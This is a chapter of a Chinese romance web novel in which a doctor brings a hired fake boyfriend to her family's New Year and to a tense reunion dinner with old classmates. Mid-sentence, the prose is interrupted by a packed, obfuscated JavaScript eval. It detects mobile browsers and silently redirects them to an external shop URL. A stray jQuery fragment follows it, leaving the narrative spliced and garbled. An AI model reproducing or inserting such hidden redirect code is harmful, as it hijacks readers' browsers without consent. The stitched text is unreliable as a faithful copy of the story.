窗帘半开着,日光倾泻而来,落在范娓娓的眼皮子上。
她动了动,耳边是朦胧的说话声里伴随欢快的大笑声。
隔了层墙和房门,她依然听得出是陈芳的声音。
范娓娓伸手从床头拿过手机一看,快六点了,微信依旧没有验证消息回复。
把手机往下一扣,她换了身衣服,打开房门去客厅。
客厅里放着电视,音量却颇小。
魏桁正拿着手机,一边给陈芳看,一边说着,“阿姨,您听听我弹得怎么样?”
手机里放出一段优美的钢琴声,是经典名曲——《卡农》。
陈芳笑着点评:“还不错,看得出有些底子。小魏你学了多久?”
魏桁:“小时候学过几年,后来忙着学业,耽误了。现在有时间了,又捡起来了。当然比不上阿姨,到底是班门弄斧了。”
半真半假,他是学过几年,但是因为一个角色需要,复又拾起来的,这段弹钢琴的视频其实是发给导演看的。
“诶,哪有这么好。”陈芳被哄得开心,摆手谦虚道,“我就教教小学生的水平而已。”
范娓娓无声扯了扯唇角,颇为不爽。
明明拿着手机,却不回微信。
还是压根看了,故意忽视。
那就不要怪她了。
“妈,你们再聊什么呢?”范娓娓走过去问道。
魏桁收了手机,淡淡瞥她眼,“没什么。”
“啊,囡囡起来啦。”陈芳没觉不对,随口说道。
范成刚默默坐在沙发一角,看着春节联欢晚会回放,闻言抬头对她一笑,算是打招呼。
“......”
在这个家里,她倒显得像个外人了。
范娓娓撇眼低头看手机的魏桁,才说,“妈,一会我和魏桁出去吃晚饭。和孙蕊她们几个聚聚。”
陈芳毫不在意应道:“哎好,去年过年你就没回来,这么久没见,是该见见老朋友。”
范娓娓垂下眸子轻声开口:“那行。魏桁,我们收拾下出门吧,时间差不多了。”
魏桁没什么反应,甚至对她笑了笑,还回应了句好。
只是眼底飞快闪过一丝戏谑。
于是她回卧室穿了件羽绒服,开门的时候,正巧对面客房的魏桁也拉开了门。
他拢了件纯黑羽绒服,身形笔直如松,丝毫不显臃肿。低头时额前碎发正好在眉毛下,过道光线昏暗,让他整个人都柔和起来。
四目相对,范娓娓愣了下,又很快镇定下来,悻悻说道,“魏桁,原来你带了...”
话未说完,魏桁出声打断她:“范医生,我想你没搞清楚一件事。”
“我的工作是在叔叔阿姨面前扮演你的男朋友,并不包括你朋友。现在看来...”他顿了顿,薄唇翕动,语调散漫开腔,“超纲了啊...”
范娓娓微怔。
并不包括你朋友!
是了,从一开始就说的是应对父母。
她努力让自己看起来平静一些,压低声说,“魏桁,要是在我朋友面前露馅,相当于我父母也会知道。你一样没有完成你的工作。”
魏桁倚着墙,神情懒散,对她的说辞并不满意。
现下的处境,已然是箭在弦上不得不发。
范娓娓直接给出筹码:“我出双倍!只要你配合!”
魏桁冷哼一声,沉沉看她眼,嘴角勾起一抹讥笑。
看样子钱给少了。
范娓娓顶着他嘲讽的眼神,坦然问道,“你说个数。”
魏桁没理她,偏过身,似要转身走出去。
只要往前走一步,就可以看见客厅里的陈芳和范成刚。范娓娓这才有些急了,伸手一拉,想要阻止他。
这时,传来了陈芳的询问声,“囡囡,你和小魏在那磨蹭什么?”
时间仿佛定格了,一种无形的尴尬在空气中蔓延。
魏桁低眼,目光冷冷落在她的手上。
那只白净的小手握成拳头,拉散了他系好的运动裤带子。
范娓娓顿时僵住,脑子里空白一片,霎时天崩地裂,翻江倒海。
她的手里怎么攥着魏桁的裤带!
“阿姨,我在给娓娓整理帽子。”魏桁垂着头,看不清神情,语调平平。
范娓娓慢一拍,倏地松开手。
即便头顶似乎在冒热气了,心跳如鼓,她面上还是佯装风轻云淡道了句不好意思,我是不小心。
然后还贴心的背过身去。
咳!谁知道她尴尬的抠脚趾。
给男性病人做检查的时候都没窘迫过!
......
范娓娓是僵着笑脸和父母道别,出了门。
魏桁拽拽地走在前面,她慢吞吞地跟在他后面。
直到走出小区,魏桁伫在街边,范娓娓在离他半米距离跟着停下。
乐安县的冬天没有下雪,却刮着呜咽的风声,略显破旧的街道两旁商铺紧闭,萧条清冷。
唯有淡淡的灯光,和他们。
范娓娓努力粉饰方才的尴尬,平淡着找话说,“那个魏桁,你说个价...”
“带路吧。”
他的声音似乎随着风飘过来,清凌凌的。
“吧”字消散在唇边,范娓娓走到他身旁,侧头觑他眼,默默抿唇笑了下。
嗯...
他好像挺好说话的,虽然清俊面容透着不耐烦。
-
烧烤店离她家不远,步行十分钟就到。
初一这天坐满了人,多是春节回乡聚会叙旧的年轻人。范娓娓撩开透明帘子走进,一眼就看到了孙蕊。
她染了一头粉发,在人群里很是显眼。
孙蕊恰好也看到了她,忙跟她招手。
范娓娓带着魏桁过去,围着的同学纷纷看了过来,孙蕊,王进,郑宣,看到最后一人的时候,她的目光忽地冷淡,皱了皱眉。
徐晓玥怎么来了。
“范娓娓,多少年没见了。”徐晓玥冲她笑笑,明亮的灯光下,苹果肌过于饱满,看着有些僵硬。
范娓娓淡淡嗯了声,拉着魏桁坐下。
这桌坐了9人,除了孙蕊没对象,都把家属带来了。
“娓娓,你看看还想吃什么?”孙蕊递过菜单,一脸好奇打听,“你男朋友也太帅了吧!怎么认识的?”
桌上的人纷纷将目光聚集在魏桁身上,他倒是淡定得很,支着腿,靠着椅,一派闲散。
“就朋友婚礼上就认识的。”范娓娓依着魏桁的说辞回答,侧身推过菜单,问他,“看看你有什么想吃的?”
“我都行。”魏桁连看都没看。
“那行,先点怎么多,不够咱再加。”孙蕊把菜单给服务员,转头问了句,“要喝酒吗?”
最后来了两打啤酒。
“娓娓,你俩发展到哪一步了?”孙蕊凑过来继续追问。
“我们在一起没多久。”范娓娓干笑两声,决定转移阵仗,“孙蕊,你呢?怎么还没找男朋友?”
“我?”孙蕊不屑摇摇头,“三次元的哪里有二次元的香!”
孙蕊大学学的美术,毕业后在杭市一家游戏公司上班,是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747942|145359||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
资深动漫迷。
“我看呐,是脑子坏掉了。”徐晓玥在旁小声说。
她的声音有些尖锐,离孙蕊近,自然是听到了。
孙蕊的脸色当即变了,想要发作几句又碍于其他人在场,加之她也不是与人争锋的性子。
“徐晓玥。”范娓娓直直看她,眸色清澈,语气平静,“你不说话没人当你是哑巴。况且我们没有邀请你。”
魏桁瞟她眼,唇角弯了弯,这确实是她的风格。
用最平静的态度说最戳人的话,还一脸真诚那种。
“范娓娓,说话不要这么难听。”徐晓玥声音更尖了,抹得鲜红的唇抖了抖,“大家都是同学,我为什么不能来。而且是王进叫我来的。”
被点名的王进一时有些无措,他绕绕头,嗫嚅道:“也不是吧,就是在楼下碰到了。”
他真的很冤枉。
下午的时候恰巧撞见了徐晓玥,闲聊了几句,对方不管不顾地,非要来今晚的聚餐。
氛围一时尬住。
“诶,菜来了,大家吃菜,快吃菜!”郑宣出言和稀泥,当和事老,“都是老同学了,见面就是缘分哈,咱和和气气叙叙旧。”
徐晓玥转眼一笑,嘚瑟地炫耀道,“娓娓,你来得晚,再次介绍下,这是我老公石杰。”
范娓娓没理,吃着菜。
徐晓玥也不尴尬,秀了秀无名指的钻戒,矫揉做作道:“我家老石就是太爱我了,不仅在江平市买了大别墅,还非得在云市给我买了套房,我都说了不要的。”
石杰有些胖,正闷着口五花肉,闻言朝徐晓玥咧嘴笑,几滴油顺着嘴角滑下来。
徐晓玥眼里闪过一丝嫌弃,面上却回以娇柔一笑。她喝了口啤酒,状似不经意问道,“娓娓,你男朋友是做什么的?看着年纪轻轻的。”
一看就是个小白脸,没什么本事。徐晓玥心底已然下了定论。
她和范娓娓算起来十年没见了,可她俩的父亲却是上下级关系,到现在还在一个单位里。
她和范娓娓一样大的年纪,小时候没少拿来做比较。
明明她爸爸是领导,她却不如下属的女儿优秀。范娓娓是永远的第一,她是追不上,可现在呢,她找了个富二代,这么多年了,不得从她身上找回一点优越感。
何况她打听到范娓娓的职业,并不是那么光彩。
范娓娓吞下一口土豆,淡定说:“做人。”
徐晓玥仿佛没听清:“什么?”
范娓娓反问:“难道你不做人?”
你快做个人吧。
孙蕊没憋住,笑出了声,其他人也在憋笑。
徐晓玥脸上有些扭曲,她不泄气,继续说道,“娓娓,你好歹是当年咱们市的状元,考上了云京大学最好的专业,我怎么听说你混到泌尿科去了?”
石杰接她的话,有些猥琐一笑:“泌尿科?那不是男科吗?天天看鸟?”
这回连郑宣的脸色都沉了沉,大过年的,他们只想好好吃饭聊聊天。
范娓娓咀嚼的动作没有停下,秀静的小脸上没有一丝波澜,仿佛没听见。
徐晓玥有些恼,范娓娓又是这个样,刺她的话像是轻飘飘的落叶,坠入大海不见一点动静。
“范娓娓——”
徐晓玥还想说什么。
一道低沉冰冷的声音堵了回去。
“关你屁事。”
魏桁凉凉勾唇,依然是慵懒地靠在椅子上,却带着一股使人噤若寒蝉的压迫和嚣张气焰。
范娓娓呆了呆,不愧是曾经的云市首富之子,这跋扈气场,挺震慑的。